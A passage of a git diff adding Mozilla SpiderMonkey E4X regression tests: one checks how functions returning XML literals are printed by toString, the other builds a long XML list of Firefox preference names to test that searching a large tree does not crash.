+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is JavaScript Engine testing utilities.
+ *
+ * The Initial Developer of the Original Code is
+ * Mozilla Foundation.
+ * Portions created by the Initial Developer are Copyright (C) 2005
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s): Seno Aiko
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = 'regress-301692.js';
+
+var summary = "Function.prototype.toString should not quote XML literals";
+var BUGNUMBER = 301692;
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+START(summary);
+
+actual = ToString((function () { return <xml/>; }));
+expect = 'function () { return <xml/>;}';
+TEST(1, expect, actual);
+
+actual = ToString((function () { return <xml></xml>; }));
+expect = 'function () { return <xml></xml>;}';
+TEST(2, expect, actual);
+
+actual = ToString((function () { return <xml><morexml/></xml>; }));
+expect = 'function () { return <xml><morexml/></xml>;}';
+TEST(3, expect, actual);
+
+actual = ToString((function (k) { return <xml>{k}</xml>; }));
+expect = 'function (k) { return <xml>{k}</xml>;}';
+TEST(4, expect, actual);
+
+actual = ToString((function (k) { return <{k}/>; }));
+expect = 'function (k) { return <{k}/>;}';
+TEST(5, expect, actual);
+
+actual = ToString((function (k) { return <{k}>{k}</{k}>; }));
+expect = 'function (k) { return <{k}>{k}</{k}>;}';
+TEST(6, expect, actual);
+
+actual = ToString((function (k) { return <{k}
+ {k}={k} {"k"}={k + "world"}><{k + "k"}/></{k}>; }));
+expect = 'function (k) ' +
+ '{ return <{k} {k}={k} {"k"}={k + "world"}><{k + "k"}/></{k}>;}';
+TEST(7, expect, actual);
+
+END();
+
+function ToString(f)
+{
+ return f.toString().replace(/\n/g, '').replace(/[ ]+/g, ' ');
+}
diff --git a/e4x/Regress/regress-308111.js b/e4x/Regress/regress-308111.js
new file mode 100755
index 0000000..08b305d
--- /dev/null
+++ b/e4x/Regress/regress-308111.js
@@ -0,0 +1,961 @@
+/* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
+/* ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is JavaScript Engine testing utilities.
+ *
+ * The Initial Developer of the Original Code is
+ * Mozilla Foundation.
+ * Portions created by the Initial Developer are Copyright (C) 2005
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s): Aaron Boodman
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = 'regress-308111.js';
+
+var summary = "Regression - Do not crash when searching large e4x tree";
+var BUGNUMBER = 308111;
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+START(summary);
+
+var xml = <prefs>
+<pref><name>sessionsaver.settings.shutdown</name></pref>
+<pref><name>network.http.max-persistent-connections-per-proxy</name></pref>
+<pref><name>font.default.x-baltic</name></pref>
+<pref><name>plugin.scan.Quicktime</name></pref>
+<pref><name>capability.policy.default.DOMException.code</name></pref>
+<pref><name>capability.policy.mailnews.*.innerHTML.get</name></pref>
+<pref><name>capability.policy.mailnews.WebServiceProxyFactory.createProxy</name></pref>
+<pref><name>capability.policy.mailnews.SchemaLoader.load</name></pref>
+<pref><name>mousewheel.withcontrolkey.action</name></pref>
+<pref><name>font.name.monospace.x-western</name></pref>
+<pref><name>javascript.options.showInConsole</name></pref>
+<pref><name>font.name.sans-serif.x-unicode</name></pref>
+<pref><name>capability.policy.mailnews.SOAPEncoding.setDecoder</name></pref>
+<pref><name>font.name-list.sans-serif.ko</name></pref>
+<pref><name>browser.chrome.site_icons</name></pref>
+<pref><name>app.update.auto</name></pref>
+<pref><name>security.ssl2.des_64</name></pref>
+<pref><name>print.always_cache_old_pres</name></pref>
+<pref><name>security.ssl3.rsa_des_sha</name></pref>
+<pref><name>security.warn_entering_weak.show_once</name></pref>
+<pref><name>network.proxy.http_port</name></pref>
+<pref><name>browser.display.use_document_colors</name></pref>
+<pref><name>browser.preferences.animateFadeIn</name></pref>
+<pref><name>browser.search.defaultenginename</name></pref>
+<pref><name>capability.principal.codebase.p0.id</name></pref>
+<pref><name>config.use_system_prefs</name></pref>
+<pref><name>font.name.monospace.x-guru</name></pref>
+<pref><name>security.default_personal_cert</name></pref>
+<pref><name>bidi.controlstextmode</name></pref>
+<pref><name>print.show_print_progress</name></pref>
+<pref><name>network.http.max-connections-per-server</name></pref>
+<pref><name>profile.migration_behavior</name></pref>
+<pref><name>browser.chrome.image_icons.max_size</name></pref>
+<pref><name>mousewheel.horizscroll.withaltkey.action</name></pref>
+<pref><name>capability.policy.mailnews.XMLHttpRequest.onerror</name></pref>
+<pref><name>greasemonkey.version</name></pref>
+<pref><name>browser.search.order.Yahoo.2</name></pref>
+<pref><name>font.name.sans-serif.ko</name></pref>
+<pref><name>network.proxy.type</name></pref>
+<pref><name>security.dialog_enable_delay</name></pref>
+<pref><name>network.prefetch-next</name></pref>
+<pref><name>alerts.slideIncrement</name></pref>
+<pref><name>browser.blink_allowed</name></pref>
+<pref><name>font.name.sans-serif.x-geor</name></pref>
+<pref><name>font.name-list.sans-serif.zh-HK</name></pref>
+<pref><name>print.print_footerright</name></pref>
+<pref><name>capability.policy.default.History.item</name></pref>
+<pref><name>browser.download.manager.showAlertOnComplete</name></pref>
+<pref><name>capability.policy.default.Location.reload.get</name></pref>
+<pref><name>network.IDN_show_punycode</name></pref>
+<pref><name>browser.startup.homepage</name></pref>
+<pref><name>network.protocol-handler.external.vbscript</name></pref>
+<pref><name>signon.expireMasterPassword</name></pref>
+<pref><name>capability.policy.mailnews.SchemaLoader.loadAsync</name></pref>
+<pref><name>capability.policy.default.DOMException.toString.get</name></pref>
+<pref><name>capability.policy.mailnews.XMLHttpRequest.readyState</name></pref>
+<pref><name>capability.policy.default.History.back.get</name></pref>
+<pref><name>slider.snapMultiplier</name></pref>
+<pref><name>capability.policy.mailnews.XMLHttpRequest.abort</name></pref>
+<pref><name>images.dither</name></pref>
+<pref><name>print.print_headercenter</name></pref>
+<pref><name>font.name.monospace.zh-HK</name></pref>
+<pref><name>capability.policy.mailnews.HTMLAnchorElement.toString</name></pref>
+<pref><name>font.name.serif.x-mlym</name></pref>
+<pref><name>font.name.monospace.tr</name></pref>
+<pref><name>advanced.mailftp</name></pref>
+<pref><name>security.ssl3.rsa_fips_des_ede3_sha</name></pref>
+<pref><name>application.use_ns_plugin_finder</name></pref>
+<pref><name>font.name-list.cursive.ko</name></pref>
+<pref><name>capability.policy.mailnews.*.data.get</name></pref>
+<pref><name>browser.forms.submit.backwards_compatible</name></pref>
+<pref><name>font.name.monospace.x-mlym</name></pref>
+<pref><name>ui.key.menuAccessKey</name></pref>
+<pref><name>capability.policy.mailnews.XMLHttpRequest.statusText</name></pref>
+<pref><name>font.name.sans-serif.x-tamil</name></pref>
+<pref><name>print.print_footercenter</name></pref>
+<pref><name>privacy.item.sessions</name></pref>
+<pref><name>network.ftp.idleConnectionTimeout</name></pref>
+<pref><name>mousewheel.withshiftkey.sysnumlines</name></pref>
+<pref><name>security.ssl2.rc4_40</name></pref>
+<pref><name>font.size.variable.ko</name></pref>
+<pref><name>capability.policy.default.Window.focus.get</name></pref>
+<pref><name>font.size.fixed.ja</name></pref>
+<pref><name>browser.display.focus_ring_on_anything</name></pref>
+<pref><name>capability.policy.default_policynames</name></pref>
+<pref><name>network.IDN.whitelist.kr</name></pref>
+<pref><name>network.IDN.whitelist.br</name></pref>
+<pref><name>network.cookie.alwaysAcceptSessionCookies</name></pref>
+<pref><name>dom.disable_window_status_change</name></pref>
+<pref><name>app.update.channel</name></pref>
+<pref><name>network.proxy.ssl_port</name></pref>
+<pref><name>xpinstall.whitelist.required</name></pref>
+<pref><name>browser.tabs.opentabfor.middleclick</name></pref>
+<pref><name>font.size.variable.x-tamil</name></pref>
+<pref><name>layout.word_select.eat_space_to_next_word</name></pref>
+<pref><name>security.warn_submit_insecure</name></pref>
+<pref><name>network.negotiate-auth.gsslib</name></pref>
+<pref><name>mousewheel.withaltkey.action</name></pref>
+<pref><name>capability.policy.default.Window.top</name></pref>
+<pref><name>font.name.cursive.x-ethi</name></pref>
+<pref><name>browser.goBrowsing.enabled</name></pref>
+<pref><name>capability.policy.mailnews.SOAPEncoding.encode</name></pref>
+<pref><name>font.name.sans-serif.x-guru</name></pref>
+<pref><name>plugin.expose_full_path</name></pref>
+<pref><name>capability.policy.default.Window.closed</name></pref>
+<pref><name>font.default.x-armn</name></pref>
+<pref><name>capability.policy.mailnews.SOAPEncoding.styleURI</name></pref>
+<pref><name>font.name.sans-serif.x-mlym</name></pref>
+<pref><name>security.ssl3.rsa_null_sha</name></pref>
+<pref><name>capability.policy.default.Window.opener</name></pref>
+<pref><name>extensions.dss.switchPending</name></pref>
+<pref><name>roaming.showInitialWarning</name></pref>
+<pref><name>security.ssl3.dhe_dss_des_sha</name></pref>
+<pref><name>network.protocol-handler.external.disk</name></pref>
+<pref><name>font.name.serif.ja</name></pref>
+<pref><name>custtoolbar.personal_toolbar_folder</name></pref>
+<pref><name>capability.policy.mailnews.Window.sizeToContent</name></pref>
+<pref><name>capability.policy.default.XMLHttpRequest.channel</name></pref>
+<pref><name>capability.policy.mailnews.SOAPEncoding.schemaCollection</name></pref>
+<pref><name>browser.display.normal_lineheight_calc_control</name></pref>
+<pref><name>capability.policy.default.Location.replace.get</name></pref>
+<pref><name>font.name.cursive.ko</name></pref>
+<pref><name>accessibility.browsewithcaret</name></pref>
+<pref><name>browser.cache.disk.enable</name></pref>
+<pref><name>network.IDN.whitelist.de</name></pref>
+<pref><name>general.useragent.locale</name></pref>
+<pref><name>security.ssl2.rc2_40</name></pref>
+<pref><name>network.cookie.prefsMigrated</name></pref>
+<pref><name>plugin.scan.SunJRE</name></pref>
+<pref><name>font.name.serif.x-armn</name></pref>
+<pref><name>network.protocol-handler.external.data</name></pref>
+<pref><name>nglayout.debug.disable_xul_cache</name></pref>
+<pref><name>ime.password.onBlur.dontCare</name></pref>
+<pref><name>capability.policy.mailnews.XMLHttpRequest.overrideMimeType</name></pref>
+<pref><name>network.protocol-handler.external.mailto</name></pref>
+<pref><name>print.use_global_printsettings</name></pref>
+<pref><name>capability.policy.mailnews.XMLHttpRequest.getAllResponseHeaders</name></pref>
+<pref><name>security.ssl3.rsa_aes_256_sha</name></pref>
+<pref><name>capability.policy.mailnews.SOAPResponse.fault</name></pref>
+<pref><name>mousewheel.withcontrolkey.sysnumlines</name></pref>
+<pref><name>font.name.sans-serif.x-baltic</name></pref>
+<pref><name>network.protocol-handler.expose.nntp</name></pref>
+<pref><name>mousewheel.horizscroll.withcontrolkey.numlines</name></pref>
+<pref><name>editor.htmlWrapColumn</name></pref>
+<pref><name>browser.helperApps.alwaysAsk.force</name></pref>
+<pref><name>security.ssl3.dhe_rsa_des_sha</name></pref>
+<pref><name>network.proxy.no_proxies_on</name></pref>
+<pref><name>network.protocol-handler.external.hcp</name></pref>
+<pref><name>font.name.monospace.x-cans</name></pref>
+<pref><name>browser.cache.disk_cache_ssl</name></pref>
+<pref><name>intl.charsetmenu.browser.more1</name></pref>
+<pref><name>accessibility.typeaheadfind.startlinksonly</name></pref>
+<pref><name>editor.positioning.offset</name></pref>
+<pref><name>font.name-list.monospace.x-tamil</name></pref>
+<pref><name>network.proxy.gopher_port</name></pref>
+<pref><name>mousewheel.horizscroll.withnokey.numlines</name></pref>
+<pref><name>browser.history.grouping</name></pref>
+<pref><name>pfs.datasource.url</name></pref>
+<pref><name>network.http.max-persistent-connections-per-server</name></pref>
+<pref><name>accessibility.tabfocus</name></pref>
+<pref><name>network.cookie.p3plevel</name></pref>
+<pref><name>intl.charsetmenu.browser.static</name></pref>
+<pref><name>editor.css.default_length_unit</name></pref>
+<pref><name>intl.charset.default</name></pref>
+<pref><name>capability.policy.mailnews.SOAPPropertyBagMutator.addProperty</name></pref>
+<pref><name>browser.download.folderList</name></pref>
+<pref><name>font.name.sans-serif.tr</name></pref>
+<pref><name>font.name-list.monospace.x-devanagari</name></pref>
+<pref><name>font.name.sans-serif.x-devanagari</name></pref>
+<pref><name>capability.policy.mailnews.Window.innerHeight.set</name></pref>
+<pref><name>browser.tabs.warnOnClose</name></pref>
+<pref><name>security.ssl3.rsa_des_ede3_sha</name></pref>
+<pref><name>signed.applets.codebase_principal_support</name></pref>
+<pref><name>print.extend_native_print_dialog</name></pref>
+<pref><name>font.name-list.monospace.x-cans</name></pref>
+<pref><name>font.name-list.serif.x-khmr</name></pref>
+<pref><name>font.name.monospace.x-cyrillic</name></pref>
+<pref><name>network.protocol-handler.warn-external.snews</name></pref>
+<pref><name>permissions.default.image</name></pref>
+<pref><name>font.name.monospace.ko</name></pref>
+<pref><name>font.name-list.monospace.zh-TW</name></pref>
+<pref><name>general.smoothScroll</name></pref>
+<pref><name>font.name-list.serif.zh-CN</name></pref>
+<pref><name>font.name.sans-serif.zh-TW</name></pref>
+<pref><name>network.protocol-handler.warn-external.mailto</name></pref>
+<pref><name>capability.policy.default.DOMException.name</name></pref>
+<pref><name>font.name-list.serif.x-mlym</name></pref>
+<pref><name>network.http.sendSecureXSiteReferrer</name></pref>
+<pref><name>intl.charsetmenu.mailedit</name></pref>
+<pref><name>capability.policy.mailnews.*.src.get</name></pref>
+<pref><name>app.update.showInstalledUI</name></pref>
+<pref><name>font.default.x-devanagari</name></pref>
+<pref><name>dom.disable_window_open_feature.location</name></pref>
+<pref><name>capability.policy.default.DOMException.result</name></pref>
+<pref><name>font.name-list.monospace.x-beng</name></pref>
+<pref><name>capability.policy.mailnews.XMLHttpRequest.getResponseHeader</name></pref>
+<pref><name>accessibility.usebrailledisplay</name></pref>
+<pref><name>network.enableIDN</name></pref>
+<pref><name>font.name.cursive.tr</name></pref>
+<pref><name>capability.policy.default.Location.href.set</name></pref>
+<pref><name>font.size.fixed.zh-CN</name></pref>
+<pref><name>font.name-list.sans-serif.zh-TW</name></pref>
+<pref><name>network.protocol-handler.expose.snews</name></pref>
+<pref><name>capability.policy.mailnews.SchemaLoader.onError</name></pref>
+<pref><name>accessibility.typeaheadfind.timeout</name></pref>
+<pref><name>capability.policy.default.History.next</name></pref>
+<pref><name>font.size.fixed.x-geor</name></pref>
+<pref><name>print.print_headerleft</name></pref>
+<pref><name>browser.search.update</name></pref>
+<pref><name>middlemouse.scrollbarPosition</name></pref>
+<pref><name>capability.policy.mailnews.SOAPEncoding.decode</name></pref>
+<pref><name>dom.disable_window_open_feature.scrollbars</name></pref>
+<pref><name>security.ssl2.rc2_128</name></pref>
+<pref><name>network.protocol-handler.external-default</name></pref>
+<pref><name>dom.disable_window_open_feature.titlebar</name></pref>
+<pref><name>startup.homepage_override_url</name></pref>
+<pref><name>dom.popup_allowed_events</name></pref>
+<pref><name>network.proxy.socks_port</name></pref>
+<pref><name>capability.policy.default.Location.hash.set</name></pref>
+<pref><name>browser.startup.page</name></pref>
+<pref><name>print.whileInPrintPreview</name></pref>
+<pref><name>font.default.x-khmr</name></pref>
+<pref><name>mousewheel.withshiftkey.action</name></pref>
+<pref><name>mousewheel.withaltkey.sysnumlines</name></pref>
+<pref><name>font.size.fixed.x-baltic</name></pref>
+<pref><name>capability.policy.mailnews.Window.moveBy</name></pref>
+<pref><name>network.http.pipelining</name></pref>
+<pref><name>plugin.override_internal_types</name></pref>
+<pref><name>font.size.fixed.x-gujr</name></pref>
+<pref><name>security.ssl2.des_ede3_192</name></pref>
+<pref><name>browser.visited_color</name></pref>
+<pref><name>capability.policy.mailnews.*.nodeValue.get</name></pref>
+<pref><name>font.default.x-beng</name></pref>
+<pref><name>intl.charsetmenu.browser.more4</name></pref>
+<pref><name>network.http.keep-alive</name></pref>
+<pref><name>ui.key.accelKey</name></pref>
+<pref><name>privacy.popups.firstTime</name></pref>
+<pref><name>browser.fixup.alternate.enabled</name></pref>
+<pref><name>font.name-list.serif.x-cans</name></pref>
+<pref><name>security.enable_ssl3</name></pref>
+<pref><name>print.print_headerright</name></pref>
+<pref><name>network.IDN.whitelist.th</name></pref>
+<pref><name>capability.policy.mailnews.SOAPEncoding.unmapSchemaURI</name></pref>
+<pref><name>capability.policy.mailnews.Range.toString</name></pref>
+<pref><name>print.print_edge_bottom</name></pref>
+<pref><name>network.IDN.blacklist_chars</name></pref>
+<pref><name>browser.display.foreground_color</name></pref>
+<pref><name>font.default.zh-CN</name></pref>
+<pref><name>network.cookie.cookieBehavior</name></pref>
+<pref><name>dom.disable_image_src_set</name></pref>
+<pref><name>font.default.x-cans</name></pref>
+<pref><name>capability.policy.mailnews.Window.screenY.set</name></pref>
+<pref><name>network.cookie.enableForCurrentSessionOnly</name></pref>
+<pref><name>app.update.timer</name></pref>
+<pref><name>layout.word_select.stop_at_punctuation</name></pref>
+<pref><name>browser.search.order.Yahoo</name></pref>
+<pref><name>middlemouse.paste</name></pref>
+<pref><name>font.name.sans-serif.zh-HK</name></pref>
+<pref><name>dom.disable_window_open_feature.toolbar</name></pref>
+<pref><name>dom.popup_maximum</name></pref>
+<pref><name>security.warn_entering_secure</name></pref>
+<pref><name>mousewheel.horizscroll.withaltkey.numlines</name></pref>
+<pref><name>javascript.allow.mailnews</name></pref>
+<pref><name>browser.tabs.warnOnCloseOther</name></pref>
+<pref><name>intl.accept_charsets</name></pref>
+<pref><name>font.name.monospace.x-central-euro</name></pref>
+<pref><name>alerts.height</name></pref>
+<pref><name>font.name-list.serif.x-tamil</name></pref>
+<pref><name>capability.policy.mailnews.SchemaLoader.onLoad</name></pref>
+<pref><name>font.size.variable.x-western</name></pref>
+<pref><name>keyword.URL</name></pref>
+<pref><name>capability.policy.default.Window.self</name></pref>
+<pref><name>browser.dom.window.dump.enabled</name></pref>
+<pref><name>font.name.sans-serif.x-beng</name></pref>
+<pref><name>privacy.item.siteprefs</name></pref>
+<pref><name>font.name.cursive.x-baltic</name></pref>
+<pref><name>network.protocol-handler.external.nntp</name></pref>
+<pref><name>security.ssl3.dhe_dss_des_ede3_sha</name></pref>
+<pref><name>font.name.serif.x-western</name></pref>
+<pref><name>capability.policy.mailnews.sites</name></pref>
+<pref><name>font.name-list.serif.x-beng</name></pref>
+<pref><name>dom.event.contextmenu.enabled</name></pref>
+<pref><name>browser.urlbar.clickSelectsAll</name></pref>
+<pref><name>security.warn_entering_secure.show_once</name></pref>
+<pref><name>font.size.fixed.zh-HK</name></pref>
+<pref><name>capability.policy.mailnews.SOAPCall.invoke</name></pref>
+<pref><name>capability.policy.default.SOAPCall.invokeVerifySourceHeader</name></pref>
+<pref><name>font.size.fixed.x-guru</name></pref>
+<pref><name>viewmanager.do_doublebuffering</name></pref>
+<pref><name>font.name.sans-serif.x-cans</name></pref>
+<pref><name>capability.policy.mailnews.*.href.get</name></pref>
+<pref><name>font.size.fixed.he</name></pref>
+<pref><name>dom.max_script_run_time</name></pref>
+<pref><name>capability.policy.default.Navigator.preference</name></pref>
+<pref><name>security.ssl2.rc4_128</name></pref>
+<pref><name>browser.link.open_newwindow</name></pref>
+<pref><name>accessibility.tabfocus_applies_to_xul</name></pref>
+<pref><name>security.ssl3.rsa_rc4_128_sha</name></pref>
+<pref><name>font.size.variable.x-unicode</name></pref>
+<pref><name>mousewheel.withcontrolkey.numlines</name></pref>
+<pref><name>font.name.monospace.x-ethi</name></pref>
+<pref><name>font.default.zh-HK</name></pref>
+<pref><name>browser.tabs.loadBookmarksInBackground</name></pref>
+<pref><name>browser.fixup.hide_user_pass</name></pref>
+<pref><name>capability.policy.mailnews.HTMLDocument.URL</name></pref>
+<pref><name>plugin.scan.Acrobat</name></pref>
+<pref><name>font.name.serif.x-cyrillic</name></pref>
+<pref><name>intl.accept_languages</name></pref>
+<pref><name>capability.policy.mailnews.*.host.get</name></pref>
+<pref><name>security.directory</name></pref>
+<pref><name>security.ssl3.dhe_rsa_aes_128_sha</name></pref>
+<pref><name>font.size.variable.zh-HK</name></pref>
+<pref><name>browser.display.use_focus_colors</name></pref>
+<pref><name>capability.policy.default.DOMException.message</name></pref>
+<pref><name>intl.charsetmenu.browser.unicode</name></pref>
+<pref><name>greasemonkey.editor</name></pref>
+<pref><name>intl.charsetmenu.composer.cache</name></pref>
+<pref><name>font.default.x-tamil</name></pref>
+<pref><name>capability.policy.default.DOMParser.parseFromStream</name></pref>
+<pref><name>network.http.version</name></pref>
+<pref><name>capability.policy.default.History.previous</name></pref>
+<pref><name>signon.SignonFileName</name></pref>
+<pref><name>font.name.monospace.zh-CN</name></pref>
+<pref><name>app.update.silent</name></pref>
+<pref><name>font.name-list.monospace.x-mlym</name></pref>
+<pref><name>browser.underline_anchors</name></pref>
+<pref><name>capability.policy.default.Navigator.preferenceinternal.set</name></pref>
+<pref><name>intl.jis0208.map</name></pref>
+<pref><name>network.automatic-ntlm-auth.trusted-uris</name></pref>
+<pref><name>browser.chrome.toolbar_tips</name></pref>
+<pref><name>mousewheel.withshiftkey.numlines</name></pref>
+<pref><name>font.name.sans-serif.x-western</name></pref>
+<pref><name>browser.download.manager.showWhenStarting</name></pref>
+<pref><name>browser.enable_automatic_image_resizing</name></pref>
+<pref><name>privacy.item.passwords</name></pref>
+<pref><name>app.update.incompatible.mode</name></pref>
+<pref><name>capability.policy.mailnews.WSDLLoader.loadAsync</name></pref>
+<pref><name>capability.policy.mailnews.SOAPEncoding.getAssociatedEncoding</name></pref>
+<pref><name>browser.sessionhistory.max_entries</name></pref>
+<pref><name>sessionsaver.windows.cookies</name></pref>
+<pref><name>network.image.warnAboutImages</name></pref>
+<pref><name>browser.cache.disk.capacity</name></pref>
+<pref><name>font.size.variable.ja</name></pref>
+<pref><name>plugin.scan.plid.all</name></pref>
+<pref><name>print.print_extra_margin</name></pref>
+<pref><name>browser.download.manager.focusWhenStarting</name></pref>
+<pref><name>capability.policy.mailnews.XMLHttpRequest.channel</name></pref>
+<pref><name>font.name.sans-serif.x-armn</name></pref>
+<pref><name>network.proxy.socks_version</name></pref>
+<pref><name>xpinstall.whitelist.add.103</name></pref>
+<pref><name>browser.download.manager.alertOnEXEOpen</name></pref>
+<pref><name>network.IDN.whitelist.ch</name></pref>
+<pref><name>xpinstall.dialog.progress.chrome</name></pref>
+<pref><name>network.online</name></pref>
+<pref><name>capability.policy.default.HTMLDocument.open.get</name></pref>
+<pref><name>general.startup.browser</name></pref>
+<pref><name>security.OCSP.enabled</name></pref>
+<pref><name>font.size.fixed.x-khmr</name></pref>
+<pref><name>config.use_system_prefs.accessibility</name></pref>
+<pref><name>font.default.ja</name></pref>
+<pref><name>print.print_edge_top</name></pref>
+<pref><name>print.print_edge_left</name></pref>
+<pref><name>network.dns.ipv4OnlyDomains</name></pref>
+<pref><name>browser.tabs.autoHide</name></pref>
+<pref><name>browser.search.order.2</name></pref>
+<pref><name>font.name.sans-serif.he</name></pref>
+<pref><name>browser.tabs.loadGroup</name></pref>
+<pref><name>font.name.monospace.x-beng</name></pref>
+<pref><name>intl.locale.matchOS</name></pref>
+<pref><name>font.name.serif.zh-CN</name></pref>
+<pref><name>capability.policy.mailnews.*.protocol.get</name></pref>
+<pref><name>network.IDN.whitelist.tm</name></pref>
+<pref><name>network.cookie.denyRemovedCookies</name></pref>
+<pref><name>browser.search.order.Yahoo.1</name></pref>
+<pref><name>font.size.fixed.x-ethi</name></pref>
+<pref><name>sessionsaver.prefs_set</name></pref>
+<pref><name>alerts.totalOpenTime</name></pref>
+<pref><name>browser.tabs.loadInBackground</name></pref>
+<pref><name>mousewheel.horizscroll.withnokey.sysnumlines</name></pref>
+<pref><name>network.negotiate-auth.using-native-gsslib</name></pref>
+<pref><name>accessibility.warn_on_browsewithcaret</name></pref>
+<pref><name>security.ssl3.rsa_fips_des_sha</name></pref>
+<pref><name>network.protocol-handler.external.shell</name></pref>
+<pref><name>ui.key.generalAccessKey</name></pref>
+<pref><name>font.size.variable.zh-CN</name></pref>
+<pref><name>network.automatic-ntlm-auth.allow-proxies</name></pref>
+<pref><name>capability.policy.mailnews.Window.moveTo</name></pref>
+<pref><name>nglayout.events.dispatchLeftClickOnly</name></pref>
+<pref><name>font.name.serif.x-devanagari</name></pref>
+<pref><name>security.checkloaduri</name></pref>
+<pref><name>network.protocol-handler.external.javascript</name></pref>
+<pref><name>security.ssl3.rsa_rc2_40_md5</name></pref>
+<pref><name>network.IDN.whitelist.dk</name></pref>
+<pref><name>mousewheel.horizscroll.withaltkey.sysnumlines</name></pref>
+<pref><name>nglayout.debug.enable_xbl_forms</name></pref>
+<pref><name>network.proxy.socks</name></pref>
+<pref><name>font.size.variable.x-central-euro</name></pref>
+<pref><name>network.IDN.whitelist.jp</name></pref>
+<pref><name>font.size.variable.zh-TW</name></pref>
+<pref><name>network.IDN.whitelist.museum</name></pref>
+<pref><name>font.name-list.serif.zh-TW</name></pref>
+<pref><name>browser.chrome.toolbar_style</name></pref>
+<pref><name>mousewheel.horizscroll.withshiftkey.numlines</name></pref>
+<pref><name>capability.policy.default.Window.close.get</name></pref>
+<pref><name>capability.policy.mailnews.SOAPEncoding.defaultEncoder</name></pref>
+<pref><name>browser.download.manager.retention</name></pref>
+<pref><name>capability.policy.mailnews.*.baseURI.get</name></pref>
+<pref><name>network.IDN.whitelist.fi</name></pref>
+<pref><name>capability.policy.mailnews.WSDLLoader.load</name></pref>
+<pref><name>network.protocol-handler.warn-external.news</name></pref>
+<pref><name>dom.disable_open_during_load</name></pref>
+<pref><name>general.useragent.extra.firefox</name></pref>
+<pref><name>font.size.variable.x-ethi</name></pref>
+<pref><name>font.default.tr</name></pref>
+<pref><name>dom.disable_window_open_feature.resizable</name></pref>
+<pref><name>sessionsaver.windows.session0</name></pref>
+<pref><name>network.proxy.failover_timeout</name></pref>
+<pref><name>general.skins.selectedSkin</name></pref>
+<pref><name>font.name.monospace.x-unicode</name></pref>
+<pref><name>network.protocol-handler.expose-all</name></pref>
+<pref><name>privacy.item.downloads</name></pref>
+<pref><name>font.name.monospace.el</name></pref>
+<pref><name>browser.preferences.instantApply</name></pref>
+<pref><name>font.name-list.serif.ko</name></pref>
+<pref><name>editor.resizing.preserve_ratio</name></pref>
+<pref><name>font.default.x-ethi</name></pref>
+<pref><name>privacy.sanitize.promptOnSanitize</name></pref>
+<pref><name>font.name.serif.x-cans</name></pref>
+<pref><name>font.name-list.monospace.x-geor</name></pref>
+<pref><name>network.hosts.nntp_server</name></pref>
+<pref><name>font.size.variable.x-khmr</name></pref>
+<pref><name>capability.policy.mailnews.*.text.get</name></pref>
+<pref><name>network.protocol-handler.warn-external.nntp</name></pref>
+<pref><name>font.default.x-unicode</name></pref>
+<pref><name>capability.policy.mailnews.Window.resizeTo</name></pref>
+<pref><name>font.name.monospace.zh-TW</name></pref>
+<pref><name>font.default.ko</name></pref>
+<pref><name>network.IDN.whitelist.tw</name></pref>
+<pref><name>signon.rememberSignons</name></pref>
+<pref><name>profile.manage_only_at_launch</name></pref>
+<pref><name>security.warn_leaving_secure</name></pref>
+<pref><name>font.language.group</name></pref>
+<pref><name>network.http.pipelining.maxrequests</name></pref>
+<pref><name>capability.policy.mailnews.WSDLLoader.onError</name></pref>
+<pref><name>capability.policy.mailnews.Window.outerWidth.set</name></pref>
+<pref><name>security.ask_for_password</name></pref>
+<pref><name>capability.policy.mailnews.SOAPEncoding.defaultDecoder</name></pref>
+<pref><name>font.default.x-gujr</name></pref>
+<pref><name>capability.policy.mailnews.XMLSerializer.serializeToStream</name></pref>
+<pref><name>network.autodial-helper.enabled</name></pref>
+<pref><name>font.size.fixed.x-central-euro</name></pref>
+<pref><name>alerts.slideIncrementTime</name></pref>
+<pref><name>capability.policy.mailnews.Window.blur</name></pref>
+<pref><name>network.http.accept.default</name></pref>
+<pref><name>network.http.proxy.keep-alive</name></pref>
+<pref><name>privacy.sanitize.sanitizeOnShutdown</name></pref>
+<pref><name>capability.policy.mailnews.*.getNamedItemNS</name></pref>
+<pref><name>network.protocol-handler.external.snews</name></pref>
+<pref><name>layout.enable_japanese_specific_transform</name></pref>
+<pref><name>general.useragent.contentlocale</name></pref>
+<pref><name>ui.key.menuAccessKeyFocuses</name></pref>
